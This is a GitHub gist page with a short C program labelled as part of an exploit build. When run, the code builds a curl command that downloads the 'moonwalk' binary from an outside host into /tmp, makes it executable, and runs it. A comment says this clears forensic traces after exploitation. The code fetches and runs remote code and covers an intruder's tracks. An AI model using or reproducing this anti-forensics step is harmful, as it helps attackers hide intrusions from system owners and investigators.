Skip to content

Instantly share code, notes, and snippets.

@SWORDIntel
Created February 21, 2025 06:03
Show Gist options
  • Save SWORDIntel/956ed646a764a8a8a68f539df300f2df to your computer and use it in GitHub Desktop.
Save SWORDIntel/956ed646a764a8a8a68f539df300f2df to your computer and use it in GitHub Desktop.
Download and clean up moonwalk as part of a C exploit build
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
// Helper: check if file exists
int file_exists(const char *path) {
return (access(path, F_OK) == 0);
}
int main(void) {
const char *moonwalk_url;
const char *moonwalk_path;
#ifdef __APPLE__
// Darwin (macOS) environment - openSSH runs normally on Darwin.
moonwalk_url = "https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_darwin";
moonwalk_path = "/tmp/moonwalk_darwin";
#else
// Assume Linux environment.
moonwalk_url = "https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux";
moonwalk_path = "/tmp/moonwalk_linux";
#endif
// If the binary is not already present, download it.
if (!file_exists(moonwalk_path)) {
char download_cmd[512];
snprintf(download_cmd, sizeof(download_cmd),
"curl -s -L -o %s \"%s\" && chmod +x %s",
moonwalk_path, moonwalk_url, moonwalk_path);
system(download_cmd);
}
// At the end of your exploitation process, call Moonwalk to clear forensic traces.
char finish_cmd[256];
snprintf(finish_cmd, sizeof(finish_cmd), "%s finish", moonwalk_path);
system(finish_cmd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment